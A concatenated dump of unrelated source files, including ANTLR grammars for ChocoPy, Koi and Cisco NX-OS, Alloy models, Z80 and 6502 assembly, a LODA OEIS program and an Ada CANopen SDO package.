tokens.offer(t);
}
@Override
public Token nextToken() {
// Check if the end-of-file is ahead and there are still some DEDENTS expected.
if (_input.LA(1) == EOF && !this.indents.isEmpty()) {
// Remove any trailing EOF tokens from our buffer.
for (int i = tokens.size() - 1; i >= 0; i--) {
if (tokens.get(i).getType() == EOF) {
tokens.remove(i);
}
}
// First emit an extra line break that serves as the end of the statement.
this.emit(commonToken(ChocopyParser.NEWLINE, "\n"));
// Now emit as much DEDENT tokens as needed.
while (!indents.isEmpty()) {
this.emit(createDedent());
indents.pop();
}
// Put the EOF back on the token stream.
this.emit(commonToken(ChocopyParser.EOF, "<EOF>"));
}
Token next = super.nextToken();
if (next.getChannel() == Token.DEFAULT_CHANNEL) {
// Keep track of the last token on the default channel.
this.lastToken = next;
}
return tokens.isEmpty() ? next : tokens.poll();
}
private Token createDedent() {
CommonToken dedent = commonToken(ChocopyParser.DEDENT, "");
dedent.setLine(this.lastToken.getLine());
return dedent;
}
private CommonToken commonToken(int type, String text) {
int stop = this.getCharIndex() - 1;
int start = text.isEmpty() ? stop : stop - text.length() + 1;
return new CommonToken(this._tokenFactorySourcePair, type, DEFAULT_TOKEN_CHANNEL, start, stop);
}
// Calculates the indentation of the provided spaces, taking the
// following rules into account:
//
// "Tabs are replaced (from left to right) by one to eight spaces
// such that the total number of characters up to and including
// the replacement is a multiple of eight [...]"
//
// -- https://docs.python.org/3.1/reference/lexical_analysis.html#indentation
static int getIndentationCount(String spaces) {
int count = 0;
for (char ch : spaces.toCharArray()) {
switch (ch) {
case '\t':
count += 8 - (count % 8);
break;
default:
// A normal space char.
count++;
}
}
return count;
}
boolean atStartOfInput() {
return super.getCharPositionInLine() == 0 && super.getLine() == 1;
}
}
//Sintaxis
program : (var_def | func_def | class_def)* stmt*;
class_def : CLASS ID PAR_IZQ ID PAR_DER DOS_PUNTOS NEWLINE INDENT class_body DEDENT;
class_body : PASS NEWLINE #class_body_pass
| (var_def | func_def)+ #class_body_var_func
;
func_def : DEF ID PAR_IZQ ((typed_var) (COMA typed_var)*)? PAR_DER (EJECUTA type)? DOS_PUNTOS NEWLINE INDENT func_body DEDENT;
func_body : (global_decl | nonlocal_decl | var_def | func_def)* stmt+;
typed_var : ID DOS_PUNTOS type #typed_var_id
| SELF DOS_PUNTOS type #typed_var_self
;
type : ID #type_id
| STRING #type_string
| COR_IZQ type COR_DER #type_cor_izq
;
global_decl : GLOBAL ID NEWLINE;
nonlocal_decl : NONLOCAL ID NEWLINE;
var_def : typed_var ASIG literal NEWLINE;
stmt : simple_stmt (NEWLINE)? #stmt_simple_stmt
| IF expr DOS_PUNTOS block (ELIF expr DOS_PUNTOS block)* (ELSE DOS_PUNTOS block)? #stmt_if
| WHILE expr DOS_PUNTOS block #stmt_while
| FOR ID IN expr DOS_PUNTOS block #stmt_for
;
simple_stmt : PASS #simple_stmt_pass
| expr #simple_stmt_expr
| RETURN (expr)? #simple_stmt_return //TODO: VERIFICAR BREAKING FUNCIONES
| (target ASIG)+ expr #simple_stmt_asig
| stmtprint #simple_stmt_print
;
stmtprint : PRINT PAR_IZQ expr PAR_DER;
block : NEWLINE INDENT stmt+ DEDENT;
literal : (NONE
| TRUE
| FALSE
| INTEGER
| STRING);
//expr : cexpr
// | NOT expr
// | expr (AND | OR) expr
// | expr IF expr ELSE expr;
//
//cexpr : ID
// | literal
// | COR_IZQ (expr (COMA expr )* )? COR_DER
// | PAR_IZQ expr PAR_DER
// | cexpr PUNTO ID
// | cexpr COR_IZQ expr COR_DER
// | cexpr PUNTO ID PAR_IZQ (expr (COMA expr )* )? PAR_DER
// | ID PAR_IZQ (expr (COMA expr )* )? PAR_DER
// | cexpr bin_op cexpr
// | MENOS cexpr;
//
//bin_op : SUMA
// | MENOS
// | MULTIPLICACION
// | DIVISION
// | MODULO
// | IGUAL
// | DIFERENTE
// | MENOR_IGUAL
// | MAYOR_IGUAL
// | MENOR
// | MAYOR
// | IS;
expr: expr_p2 IF expr ELSE expr #expr_if
|expr_p2 #p2
;
expr_p2: expr_p2 OR expr_p3 #p2_or
|expr_p3 #p3
;
expr_p3: expr_p3 AND expr_p4 #p3_and
|expr_p4 #p4
;
expr_p4: NOT expr_p4 #expr_p4_not
|cexpr #expr_p4_cexpr
;
cexpr: cexpr_p6 IGUAL cexpr_p6 #cexpr_igual
|cexpr_p6 DIFERENTE cexpr_p6 #cexpr_diferente
|cexpr_p6 MAYOR cexpr_p6 #cexpr_mayor
|cexpr_p6 MENOR cexpr_p6 #cexpr_menor
|cexpr_p6 MAYOR_IGUAL cexpr_p6 #cexpr_mayor_igual
|cexpr_p6 MENOR_IGUAL cexpr_p6 #cexpr_menor_igual
|cexpr_p6 IS cexpr_p6 #cexpr_is
|cexpr_p6 #p6
;
//bin_op_log: IGUAL #bin_op_log_igual
// |DIFERENTE #bin_op_log_diferente
// |MAYOR #bin_op_log_mayor
// |MENOR #bin_op_log_menor
// |MAYOR_IGUAL #bin_op_log_mayor_igual
// |MENOR_IGUAL #bin_op_log_menor_igual
// |IS #bin_op_log_is
// ;
cexpr_p6: cexpr_p6 SUMA cexpr_p7 #p6_suma
|cexpr_p6 MENOS cexpr_p7 #p6_resta
|cexpr_p7 #p7
;
//bin_op_p6: SUMA #bin_op_p6_suma
// |MENOS #bin_op_p6_menos
// ;
cexpr_p7: cexpr_p7 MULTIPLICACION cexpr_p8 #p7_mult
|cexpr_p7 DIVISION cexpr_p8 #p7_div
|cexpr_p7 MODULO cexpr_p8 #p7_mod
|cexpr_p8 #p8
;
//bin_op_p7: MULTIPLICACION #bin_op_p7_mult
// |DIVISION #bin_op_p7_div
// |MODULO #bin_op_p7_mod
// ;
cexpr_p8: MENOS cexpr_p8 #cexpr_p8_menos
|cexpr_p9 #cexpr_p8_cexpr_p9
;
cexpr_p9: cexpr_p10 #p10
| cexpr_p10 (COR_IZQ expr COR_DER)* #p10_cor
| cexpr_p10 (PUNTO ID (PAR_IZQ (expr (COMA expr)*)? PAR_DER)?)+ #p10_punto
;
//cexpr_p9: cexpr_p10 cexpr_p9_aux;
//
//cexpr_p9_aux: PUNTO ID cexpr_p10_aux cexpr_p9_aux #cexpr_p9_aux_punto
// | COR_IZQ expr COR_DER cexpr_p9_aux #cexpr_p9_aux_cor_izq
// |/*epsilon*/ #cexpr_p9_aux_eps
// ;
cexpr_p10: ID (PAR_IZQ (expr (COMA expr)*)? PAR_DER)? #cexpr_p10_id
|literal #cexpr_p10_literal
|COR_IZQ (expr (COMA expr)*)? COR_DER #cexpr_p10_cor
|PAR_IZQ expr PAR_DER #cexpr_p10_par
|LEN PAR_IZQ cexpr PAR_DER #cexpr_p10_len
|SELF #cexpr_p10_self
;
target : ID #target_id
|SELF #target_self
|cexpr PUNTO ID #member_expr_cexpr
|SELF PUNTO ID #member_expr_self
|cexpr COR_IZQ expr COR_DER #index_expr_cexpr
|SELF COR_IZQ expr COR_DER #index_expr_self
;
/*
x=4
x=5
b=2
x=b
print(x) <-2
*/
// TOKENS
SKIP_
: ( SPACES | COMMENT | LINE_JOINING) -> skip
;
COMMENT
: '#' ~[\r\n\f]*
;
SPACES
: [ \t]+
;
LINE_JOINING
: '\\' SPACES? ( '\r'? '\n' | '\r' )
;
CLASS: 'class';
PRINT: 'print';
PAR_IZQ: '(';
PAR_DER: ')';
DOS_PUNTOS: ':';
NEWLINE
: ( {atStartOfInput()}? SPACES
| ( '\r'? '\n' | '\r' ) SPACES?
)
{
String newLine = getText().replaceAll("[^\r\n]+", "");
String spaces = getText().replaceAll("[\r\n]+", "");
int next = _input.LA(1);
if (opened > 0 || next == '\r' || next == '\n' || next == '#') {
// If we're inside a list or on a blank line, ignore all indents,
// dedents and line breaks.
skip();
}
else {
emit(commonToken(NEWLINE, newLine));
int indent = getIndentationCount(spaces);
int previous = indents.isEmpty() ? 0 : indents.peek();
if (indent == previous) {
// skip indents of the same size as the present indent-size
skip();
}
else if (indent > previous) {
indents.push(indent);
emit(commonToken(ChocopyParser.INDENT, spaces));
}
else {
// Possibly emit more than 1 DEDENT token.
while(!indents.isEmpty() && indents.peek() > indent) {
this.emit(createDedent());
indents.pop();
}
}
}
}
;
//NEWLINE: '\n'; //TODO ESTA UNA MIERDA x3
//
//INDENT: ' '+; //TODO ESTA UNA MIERDA
//
//DEDENT: ' '+; //TODO ESTA UNA MIERDA x2
PASS:'pass';
DEF:'def';
COMA: ',';
EJECUTA: '->';
STRING: ('"' ([ -!#-[\]-~] | '\\"' | '\\n' | '\\t' | '\\\\')* '"');
COR_IZQ: '[';
COR_DER: ']';
GLOBAL: 'global';
NONLOCAL: 'nonlocal';
ASIG:'=';
IF:'if';
ELIF:'elif';
ELSE:'else';
WHILE:'while';
FOR:'for';
IN:'in';
RETURN:'return';
NONE : 'None';
TRUE: 'True';
FALSE:'False';
INTEGER: [1-9][0-9]*|'0' ; //TODO FALTA EL LIMITE SUPERIOR
NOT:'not';
AND:'and';
OR:'or';
PUNTO:'.';
MENOS:'-';
SUMA:'+';
MULTIPLICACION:'*';
DIVISION:'//';
MODULO:'%';
IGUAL:'==';
DIFERENTE:'!=';
MENOR_IGUAL:'<=';
MAYOR_IGUAL:'>=';
MENOR:'<';
MAYOR:'>';
IS:'is';
LEN:'len';
SELF:'self';
ID: ([A-Z]|[a-z]|'_')([0-9]|[a-z]|[A-Z]|'_')*;
//TODO FALTA PRINT |
alloy4fun_models/trashltl/models/4/eBeoahi6whmX3JhuF.als | Kaixi26/org.alloytools.alloy | 0 | 1728 | open main
pred ideBeoahi6whmX3JhuF_prop5 {
some f: File | f not in Trash and eventually f in Trash
}
pred __repair { ideBeoahi6whmX3JhuF_prop5 }
check __repair { ideBeoahi6whmX3JhuF_prop5 <=> prop5o } |
libsrc/gfx/narrow/drawr.asm | Frodevan/z88dk | 4 | 169541 | <reponame>Frodevan/z88dk<gh_stars>1-10
;
; Z88 Graphics Functions - Small C+ stubs
;
; Written around the Interlogic Standard Library
;
; Stubs Written by <NAME> - 30/9/98
;
;
; $Id: drawr.asm $
;
; CALLER LINKAGE FOR FUNCTION POINTERS
; ----- void drawr(int x, int y)
IF !__CPU_INTEL__ & !__CPU_GBZ80__
SECTION code_graphics
PUBLIC drawr
PUBLIC _drawr
EXTERN drawr_callee
EXTERN ASMDISP_DRAWR_CALLEE
.drawr
._drawr
pop af ; ret addr
pop de ; y
pop hl ; x
push hl
push de
push af ; ret addr
jp drawr_callee + ASMDISP_DRAWR_CALLEE
ENDIF
|
projects/batfish/src/main/antlr4/org/batfish/grammar/cisco_nxos/CiscoNxos_ip_community_list.g4 | zabrewer/batfish | 763 | 2157 | parser grammar CiscoNxos_ip_community_list;
import CiscoNxos_common;
options {
tokenVocab = CiscoNxosLexer;
}
ip_community_list
:
COMMUNITY_LIST
(
icl_expanded
| icl_standard
)
;
icl_expanded
:
EXPANDED name = ip_community_list_name
(
SEQ seq = ip_community_list_seq
)? action = line_action
(
quoted = double_quoted_string
| regex = REMARK_TEXT
) NEWLINE
;
icl_standard
:
STANDARD name = ip_community_list_name
(
SEQ seq = ip_community_list_seq
)? action = line_action communities += standard_community+ NEWLINE
;
ip_community_list_seq
:
// 1-4294967294
uint32
;
|
oeis/300/A300254.asm | neoneye/loda-programs | 11 | 104477 | <reponame>neoneye/loda-programs<gh_stars>10-100
; A300254: a(n) = 25*(n + 1)*(4*n + 3)*(5*n + 4)/3.
; 100,1050,3850,9500,19000,33350,53550,80600,115500,159250,212850,277300,353600,442750,545750,663600,797300,947850,1116250,1303500,1510600,1738550,1988350,2261000,2557500,2878850,3226050,3600100,4002000,4432750,4893350,5384800,5908100,6464250,7054250,7679100,8339800,9037350,9772750,10547000,11361100,12216050,13112850,14052500,15036000,16064350,17138550,18259600,19428500,20646250,21913850,23232300,24602600,26025750,27502750,29034600,30622300,32266850,33969250,35730500,37551600,39433550,41377350
mul $0,2
add $0,1
mul $0,10
mov $1,$0
add $0,8
bin $0,3
sub $0,$1
div $0,400
mul $0,50
|
Koi.g4 | koi-lang/grammars | 0 | 4489 | <reponame>koi-lang/grammars
grammar Koi;
/*
Parser Rules
*/
program: line* EOF;
line: (comment | statement | expression | block | function_block | procedure_block | while_block | for_block | if_stream | class_block | when_block | enum_block | struct_block) (SEMICOLON line)*;
// ending: SEMICOLON? NEWLINE | SEMICOLON;
comment: COMMENT | MULTICOMMENT;
// var my_var := "My Var"
// var !var := "My Var"
name: (THIS DOT)? ((ID | TEMP_ID | EXCLAMATION keyword) accessor)* (ID | TEMP_ID | EXCLAMATION keyword) | THIS;
keyword: TRUE | FALSE
// | PRINT | PRINTLN
| VAR
| CALL
| RETURN
| type_;
accessor: DOT | SAFE_CALL | NULL_CHECK_ACCESS;
statement: function_call | local_asstmt | import_stmt | class_new;
call_parameter_set: ((paramNames+=name EQUALS)? paramValues+=true_value COMMA)* ((paramNames+=name EQUALS)? paramValues+=true_value)?;
method_call: funcName=name OPEN_PARENTHESIS call_parameter_set CLOSE_PARENTHESIS;
function_call: CALL (method_call | name) (accessor method_call)*;
class_new: NEW className=name OPEN_PARENTHESIS call_parameter_set CLOSE_PARENTHESIS (accessor method_call)*;
local_asstmt: VAR name COLON type_ EQUALS true_value
| name EQUALS true_value
| VAR name COLON type_
;
expression: arith_expr | compa_expr | value_change | half_compa;
// FIXME: Should use true_value instead of value
arith_expr: value (ADD | SUB | MUL | DIV) true_value;
compa_expr: EXCLAMATION? value ((GREATER | LESSER | GREQ | LEEQ | EQUALITY | INEQUALITY) true_value)?;
half_compa: EXCLAMATION? comp=(GREATER | LESSER | GREQ | LEEQ) true_value;
true_value: value (INCREASE | DECREASE)? NULL_CHECK? | expression;
value: SINGLESTRING | LITSTRING | MULTISTRING
| INTEGER | FLOAT | DECIMAL | EXCLAMATION? (TRUE | FALSE) | NONE
| name | list_ | function_call | class_new
;
value_change: value (INCREASE | DECREASE);
list_: OPEN_BRACKET (value COMMA)* value? CLOSE_BRACKET;
type_: (OBJ | CHAR | STR | INT | FLO | BOOL | NONE | ID) (OPEN_BRACKET CLOSE_BRACKET)? QUESTION?;
block: code_block | return_block | break_block | inner_class_block;
code_block: OPEN_BRACE line* CLOSE_BRACE;
return_block: OPEN_BRACE line* return_stmt CLOSE_BRACE;
break_block: OPEN_BRACE line* BREAK? CLOSE_BRACE;
inner_class_block: OPEN_BRACE init_block constructor_block method_block* CLOSE_BRACE;
parameter_set: OPEN_PARENTHESIS (parameter COMMA)* parameter? CLOSE_PARENTHESIS;
parameter: name COLON type_ (EQUALS value)? #parameterNorm
| name COLON type_ TRIPLE_DOT #parameterVarArg
;
function_block: FUNCTION name parameter_set (ARROW returnType=type_) block
| NATIVE FUNCTION name parameter_set (ARROW returnType=type_)
;
procedure_block: PROCEDURE name parameter_set block
| NATIVE PROCEDURE name parameter_set
;
return_stmt: RETURN true_value;
while_block: WHILE compa_list block;
for_block: FOR name COLON type_ IN (with_length | name) block;
range_: INTEGER DOUBLE_DOT INTEGER;
with_length: range_ | list_;
if_stream: if_block elf_block* else_block?;
if_block: IF compa_list block;
elf_block: ELF compa_list block;
else_block: ELSE block;
compa_list: comparisons+=compa_expr (settings+=(OR | AND) comparisons+=compa_expr)*;
package_name: (folders+=ID DOUBLE_COLON)* last=ID;
import_stmt: (CORE | STANDARD | LOCAL) IMPORT package_name;
class_block: CLASS name block;
method_block: METH procedure_block
| METH function_block
;
constructor_block: CONSTRUCTOR parameter_set block;
init_block: INIT block;
when_block: WHEN true_value OPEN_BRACE is_block* when_else? CLOSE_BRACE;
is_block: IS (half_compa | true_value) OPEN_BRACE line* CLOSE_BRACE;
when_else: ELSE OPEN_BRACE line* CLOSE_BRACE;
enum_block: ENUM name OPEN_BRACE (ID COMMA)* ID? CLOSE_BRACE;
struct_block: STRUCT name OPEN_BRACE struct_set* CLOSE_BRACE;
struct_set: name COLON type_;
/*
Lexer Rules
*/
COMMENT: HASHTAG ~[\r\n]* -> skip;
MULTICOMMENT: HASHTAG DASH .*? DASH HASHTAG -> skip;
// NEWLINE: [\r\n]+ -> skip;
// Keywords
NATIVE: 'native';
TRUE: 'true';
FALSE: 'false';
NONE: 'none';
VAR: 'var';
WHILE: 'while';
FOR: 'for';
IN: 'in';
BREAK: 'break';
FUNCTION: 'fun';
PROCEDURE: 'pro';
CLASS: 'class';
CONSTRUCTOR: 'constructor';
METH: 'meth';
THIS: 'this';
NEW: 'new';
INIT: 'init';
CALL: 'call';
RETURN: 'return';
IF: 'if';
ELF: 'elf';
ELSE: 'else';
WHEN: 'when';
IS: 'is';
IMPORT: 'import';
CORE: 'core';
STANDARD: 'std';
LOCAL: 'local';
ENUM: 'enum';
STRUCT: 'struct';
// Types
OBJ: 'obj';
CHAR: 'char';
STR: 'str';
INT: 'int';
FLO: 'float';
BOOL: 'bool';
// Symbols
ARROW: DASH GREATER;
// Punctuation
fragment HASHTAG: '#';
fragment DASH: '-';
SEMICOLON: ';';
COLON: ':';
DOUBLE_COLON: '::';
DOT: '.';
DOUBLE_DOT: '..';
TRIPLE_DOT: '...';
fragment DOUBLE_QUOTE: '"';
fragment SINGLE_QUOTE: '\'';
fragment GRAVE: '`';
OPEN_PARENTHESIS: '(';
CLOSE_PARENTHESIS: ')';
COMMA: ',';
UNDERSCORE: '_';
QUESTION: '?';
EXCLAMATION: '!';
EQUALS: '=';
INFERRED: ':=';
AND: '&&';
OR: '||';
EQUALITY: EQUALS EQUALS;
INEQUALITY: EXCLAMATION EQUALS;
GREATER: '>';
LESSER: '<';
OPEN_BRACKET: '[';
CLOSE_BRACKET: ']';
OPEN_BRACE: '{';
CLOSE_BRACE: '}';
GREQ: GREATER EQUALS;
LEEQ: LESSER EQUALS;
NOTEQ: EXCLAMATION EQUALS;
ADD: '+';
SUB: '-';
MUL: '*';
DIV: '/';
MOD: '%';
INCREASE: '++';
DECREASE: '--';
SAFE_CALL: QUESTION DOT;
NULL_CHECK: EXCLAMATION EXCLAMATION;
NULL_CHECK_ACCESS: EXCLAMATION EXCLAMATION DOT;
fragment LOWERCASE: [a-z];
fragment UPPERCASE: [A-Z];
fragment LETTER: LOWERCASE | UPPERCASE;
fragment WORD: LETTER+;
SINGLESTRING: DOUBLE_QUOTE ~["\r\n]* DOUBLE_QUOTE;
LITSTRING: SINGLE_QUOTE ~['\r\n]* SINGLE_QUOTE;
MULTISTRING: GRAVE (~[`\r\n]+ | '\r'? '\n')* GRAVE;
// 1.0f/1f
FLOAT: INTEGER (DOT INTEGER)? 'f';
// 1.0d/1d
DECIMAL: INTEGER (DOT INTEGER)? 'd';
// 1
INTEGER: [0-9]+;
NUMBER: INTEGER | FLOAT | DECIMAL;
// true/false
BOOLEAN: TRUE | FALSE;
TEMP_ID: UNDERSCORE;
ID: UNDERSCORE? LETTER (LETTER | INTEGER | UNDERSCORE)*;
SPACE: [ \t\r\n] -> skip;
WS: [ \t\r\n\f]+ -> skip;
|
src/aco-sdo_commands.ads | jonashaggstrom/ada-canopen | 6 | 23546 | with ACO.Messages;
with ACO.OD_Types;
with ACO.Utils.Byte_Order;
with Interfaces;
with System;
package ACO.SDO_Commands is
use Interfaces;
use ACO.Messages;
use ACO.OD_Types;
use ACO.Utils.Byte_Order;
type Unsigned_3 is mod 2 ** 3 with Size => 3;
type Unsigned_2 is mod 2 ** 2 with Size => 2;
subtype Abort_Code_Type is Interfaces.Unsigned_32;
Download_Initiate_Req : constant := 1;
Download_Initiate_Conf : constant := 3;
Download_Segment_Req : constant := 0;
Download_Segment_Conf : constant := 1;
Upload_Initiate_Req : constant := 2;
Upload_Initiate_Conf : constant := 2;
Upload_Segment_Req : constant := 3;
Upload_Segment_Conf : constant := 0;
Abort_Req : constant := 4;
function Get_CS (Msg : Message) return Unsigned_3 is
(Unsigned_3 (Shift_Right (Msg.Data (0), 5) and 2#111#));
function Get_Index (Msg : Message) return Entry_Index is
((Object => Swap_Bus (Octets_2 (Msg.Data (1 .. 2))),
Sub => Msg.Data (3)));
-- function Index_To_Bus (Index : Object_Index) return Data_Array is
-- (Data_Array (Octets_2' (Swap_Bus (Unsigned_16 (Index)))));
type Download_Initiate_Cmd (As_Raw : Boolean := False) is record
case As_Raw is
when True =>
Raw : Data_Array (0 .. 7);
when False =>
Command : Unsigned_3;
Nof_No_Data : Unsigned_2;
Is_Expedited : Boolean;
Is_Size_Indicated : Boolean;
Index : Unsigned_16;
Subindex : Unsigned_8;
Data : Data_Array (0 .. 3);
end case;
end record
with Unchecked_Union, Size => 64, Bit_Order => System.Low_Order_First;
for Download_Initiate_Cmd use record
Raw at 0 range 0 .. 63;
Data at 0 range 32 .. 63;
Subindex at 0 range 24 .. 31;
Index at 0 range 8 .. 23;
Command at 0 range 5 .. 7;
Nof_No_Data at 0 range 2 .. 3;
Is_Expedited at 0 range 1 .. 1;
Is_Size_Indicated at 0 range 0 .. 0;
end record;
function Get_Data_Size (Cmd : Download_Initiate_Cmd) return Natural is
(if Cmd.Is_Expedited then 4 - Natural (Cmd.Nof_No_Data) else
Natural (Swap_Bus (Octets_4 (Cmd.Data))));
function Convert
(Msg : Message) return Download_Initiate_Cmd
is
((As_Raw => True, Raw => Msg.Data));
subtype Expedited_Data is Data_Array (0 .. 3);
function Create
(Index : Entry_Index;
Data : Data_Array)
return Download_Initiate_Cmd
with Pre => Data'Length <= Expedited_Data'Length;
function Create
(Index : Entry_Index;
Size : Natural)
return Download_Initiate_Cmd;
subtype Segment_Data is Data_Array (0 .. 6);
type Download_Segment_Cmd (As_Raw : Boolean := False) is record
case As_Raw is
when True =>
Raw : Data_Array (0 .. 7);
when False =>
Command : Unsigned_3;
Toggle : Boolean;
Nof_No_Data : Unsigned_3;
Is_Complete : Boolean;
Data : Segment_Data;
end case;
end record
with Unchecked_Union, Size => 64, Bit_Order => System.Low_Order_First;
for Download_Segment_Cmd use record
Raw at 0 range 0 .. 63;
Data at 0 range 8 .. 63;
Command at 0 range 5 .. 7;
Toggle at 0 range 4 .. 4;
Nof_No_Data at 0 range 1 .. 3;
Is_Complete at 0 range 0 .. 0;
end record;
function Convert
(Msg : Message) return Download_Segment_Cmd
is
((As_Raw => True, Raw => Msg.Data));
function Create
(Toggle : Boolean;
Is_Complete : Boolean;
Data : Data_Array)
return Download_Segment_Cmd
with Pre => Data'Length <= Segment_Data'Length;
type Download_Initiate_Resp (As_Raw : Boolean := False) is record
case As_Raw is
when True =>
Raw : Data_Array (0 .. 7) := (others => 0);
when False =>
Command : Unsigned_3;
Index : Unsigned_16;
Subindex : Unsigned_8;
end case;
end record
with Unchecked_Union, Size => 64, Bit_Order => System.Low_Order_First;
for Download_Initiate_Resp use record
Raw at 0 range 0 .. 63;
Subindex at 0 range 24 .. 31;
Index at 0 range 8 .. 23;
Command at 0 range 5 .. 7;
end record;
function Convert
(Msg : Message) return Download_Initiate_Resp
is
((As_Raw => True, Raw => Msg.Data));
function Create
(Index : Entry_Index)
return Download_Initiate_Resp;
type Download_Segment_Resp (As_Raw : Boolean := False) is record
case As_Raw is
when True =>
Raw : Data_Array (0 .. 7) := (others => 0);
when False =>
Command : Unsigned_3;
Toggle : Boolean;
end case;
end record
with Unchecked_Union, Size => 64, Bit_Order => System.Low_Order_First;
for Download_Segment_Resp use record
Raw at 0 range 0 .. 63;
Command at 0 range 5 .. 7;
Toggle at 0 range 4 .. 4;
end record;
function Convert
(Msg : Message) return Download_Segment_Resp
is
((As_Raw => True, Raw => Msg.Data));
function Create
(Toggle : Boolean)
return Download_Segment_Resp;
type Abort_Cmd (As_Raw : Boolean := False) is record
case As_Raw is
when True =>
Raw : Data_Array (0 .. 7) := (others => 0);
when False =>
Command : Unsigned_3;
Index : Unsigned_16;
Subindex : Unsigned_8;
Code : Unsigned_32;
end case;
end record
with Unchecked_Union, Size => 64, Bit_Order => System.Low_Order_First;
for Abort_Cmd use record
Raw at 0 range 0 .. 63;
Code at 0 range 32 .. 63;
Subindex at 0 range 24 .. 31;
Index at 0 range 8 .. 23;
Command at 0 range 5 .. 7;
end record;
function Convert
(Msg : Message) return Abort_Cmd
is
((As_Raw => True, Raw => Msg.Data));
function Create
(Index : Entry_Index;
Code : Abort_Code_Type)
return Abort_Cmd;
function Code (Cmd : Abort_Cmd) return Abort_Code_Type
is
(Abort_Code_Type (Unsigned_32' (Swap_Bus (Cmd.Code))));
type Upload_Initiate_Cmd (As_Raw : Boolean := False) is record
case As_Raw is
when True =>
Raw : Data_Array (0 .. 7) := (others => 0);
when False =>
Command : Unsigned_3;
Index : Unsigned_16;
Subindex : Unsigned_8;
end case;
end record
with Unchecked_Union, Size => 64, Bit_Order => System.Low_Order_First;
for Upload_Initiate_Cmd use record
Raw at 0 range 0 .. 63;
Subindex at 0 range 24 .. 31;
Index at 0 range 8 .. 23;
Command at 0 range 5 .. 7;
end record;
function Convert
(Msg : Message) return Upload_Initiate_Cmd
is
((As_Raw => True, Raw => Msg.Data));
function Create
(Index : Entry_Index)
return Upload_Initiate_Cmd;
type Upload_Initiate_Resp (As_Raw : Boolean := False) is record
case As_Raw is
when True =>
Raw : Data_Array (0 .. 7);
when False =>
Command : Unsigned_3;
Nof_No_Data : Unsigned_2;
Is_Expedited : Boolean;
Is_Size_Indicated : Boolean;
Index : Unsigned_16;
Subindex : Unsigned_8;
Data : Data_Array (0 .. 3);
end case;
end record
with Unchecked_Union, Size => 64, Bit_Order => System.Low_Order_First;
for Upload_Initiate_Resp use record
Raw at 0 range 0 .. 63;
Data at 0 range 32 .. 63;
Subindex at 0 range 24 .. 31;
Index at 0 range 8 .. 23;
Command at 0 range 5 .. 7;
Nof_No_Data at 0 range 2 .. 3;
Is_Expedited at 0 range 1 .. 1;
Is_Size_Indicated at 0 range 0 .. 0;
end record;
function Get_Data_Size (Cmd : Upload_Initiate_Resp) return Natural is
(if Cmd.Is_Expedited then 4 - Natural (Cmd.Nof_No_Data) else
Natural (Swap_Bus (Octets_4 (Cmd.Data))));
function Convert
(Msg : Message) return Upload_Initiate_Resp
is
((As_Raw => True, Raw => Msg.Data));
function Create
(Index : Entry_Index;
Data : Data_Array)
return Upload_Initiate_Resp
with Pre => Data'Length <= Expedited_Data'Length;
function Create
(Index : Entry_Index;
Size : Natural)
return Upload_Initiate_Resp;
type Upload_Segment_Cmd (As_Raw : Boolean := False) is record
case As_Raw is
when True =>
Raw : Data_Array (0 .. 7) := (others => 0);
when False =>
Command : Unsigned_3;
Toggle : Boolean;
end case;
end record
with Unchecked_Union, Size => 64, Bit_Order => System.Low_Order_First;
for Upload_Segment_Cmd use record
Raw at 0 range 0 .. 63;
Command at 0 range 5 .. 7;
Toggle at 0 range 4 .. 4;
end record;
function Convert
(Msg : Message) return Upload_Segment_Cmd
is
((As_Raw => True, Raw => Msg.Data));
function Create
(Toggle : Boolean)
return Upload_Segment_Cmd;
type Upload_Segment_Resp (As_Raw : Boolean := False) is record
case As_Raw is
when True =>
Raw : Data_Array (0 .. 7);
when False =>
Command : Unsigned_3;
Toggle : Boolean;
Nof_No_Data : Unsigned_3;
Is_Complete : Boolean;
Data : Segment_Data;
end case;
end record
with Unchecked_Union, Size => 64, Bit_Order => System.Low_Order_First;
for Upload_Segment_Resp use record
Raw at 0 range 0 .. 63;
Data at 0 range 8 .. 63;
Command at 0 range 5 .. 7;
Toggle at 0 range 4 .. 4;
Nof_No_Data at 0 range 1 .. 3;
Is_Complete at 0 range 0 .. 0;
end record;
function Convert
(Msg : Message) return Upload_Segment_Resp
is
((As_Raw => True, Raw => Msg.Data));
function Create
(Toggle : Boolean;
Is_Complete : Boolean;
Data : Data_Array)
return Upload_Segment_Resp
with Pre => Data'Length <= Segment_Data'Length;
end ACO.SDO_Commands;
|
models/amalgam/misc/not-so-funny-srcloc.als | transclosure/Amalgam | 4 | 5 | abstract sig Name {
address: set (Addr + Name)
}
sig Alias, Group extends Name {}
sig Addr {}
fact {
no ^address & iden
(^address & (Name -> Addr)).Addr = Name
let aliasLink = (Alias -> (Addr + Name)) & address | {
~aliasLink.aliasLink in iden
}
}
run {} for 1
run {} for 2
run {} for 3
run {} for 4
run {} for 5
|
Scripts/common/maploader.asm | 1888games/golf | 1 | 244250 | MAPLOADER: {
* = * "Maploader"
TileScreenLocations:
.byte 0,1,40,41
Column:
.byte 0
Row:
.byte 0
CurrentMap: .word $0000
CurrentTiles: .word $0000
CurrentColours: .word $0000
Maps: .word $7000, $7500, $7700
MapTiles: .word $7104, $7104, $7104
Colours: .word $71a0, $71a0, $71a0
Offset: .byte 40, 40, 0
CurrentMapID: .byte 1
DrawMap: {
lda CurrentMapID
asl
tax
lda Maps, x
sta CurrentMap
lda MapTiles, x
sta CurrentTiles
lda Colours, x
sta CurrentColours
inx
lda Maps, x
sta CurrentMap + 1
lda MapTiles, x
sta CurrentTiles + 1
lda Colours, x
sta CurrentColours + 1
// load first char address into first FEED
lda #<SCREEN_RAM
sta Screen + 1
lda #>SCREEN_RAM
sta Screen + 2
// load first colour address into second FEED
lda #<VIC.COLOR_RAM
sta Colour + 1
lda #>VIC.COLOR_RAM
sta Colour + 2
jmp GetMapAddress
GetMapAddress:
lda CurrentMap
sta Tile + 1
lda CurrentMap + 1
sta Tile + 2
lda CurrentColours
sta LoadColour + 1
lda CurrentColours + 1
sta LoadColour + 2
lda #ZERO
sta Row
TileRowLoop:
lda #ZERO
sta Column
TileColumnLoop:
ldy #ZERO
lda #ZERO
sta TileLookup+1
sta TileLookup+2
Tile:
//.break
lda $FEED
sta TileLookup + 1
asl TileLookup + 1
rol TileLookup + 2
asl TileLookup + 1
rol TileLookup + 2
clc
lda CurrentTiles
adc TileLookup + 1
sta TileLookup + 1
lda CurrentTiles + 1
adc TileLookup + 2
sta TileLookup + 2
!FourTileLoop:
TileLookup:
// load the map tile at position, offset
lda $FEED,y
ldx TileScreenLocations,y
Screen:
